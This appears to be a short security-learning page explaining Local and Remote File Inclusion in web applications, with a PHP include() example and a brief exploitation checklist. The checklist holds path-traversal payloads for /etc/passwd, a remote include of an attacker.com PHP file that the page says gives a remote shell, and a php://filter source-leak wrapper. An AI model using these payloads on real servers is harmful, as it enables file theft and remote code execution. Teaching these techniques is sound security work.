File Inclusion

What is it?

File Inclusion vulnerabilities allow an attacker to include files on a server through the web browser. This can occur in two forms: Local File Inclusion (LFI) and Remote File Inclusion (RFI). LFI exploits enable attackers to read files on the server, while RFI allows attackers to execute arbitrary code by including remote files over the internet.

A simple example

  • A vulnerable web application has the endpoint /page?file={filename}

  • When a request is made, the application dynamically includes the content of the file specified in the query parameter, for example, PHP's include() function: include($filename);

  • If an attacker modifies {filename} to a path such as ../../etc/passwd or a remote URL http://attacker.com/malicious.php, they can read sensitive files or execute malicious code.

It's important to note that the specific impact and exploitation techniques can vary depending on server configuration, programming language, and application logic. File Inclusion vulnerabilities can lead to:

  • Sensitive data exposure

  • Remote code execution

  • Cross-site scripting

Other learning resources:

  • [To be updated]

Writeups:

Have a good writeup & want to share it here? Drop me a message on LinkedIn.

Checklist

Exploitation// Some code

# Basic LFI to read 
/etc/passwd 
../../../../etc/passwd
# RFI to execute a remote shell 
http://attacker.com/malicious.php
# Using PHP wrappers to bypass restrictions 
php://filter/convert.base64-encode/resource=index.php

Last updated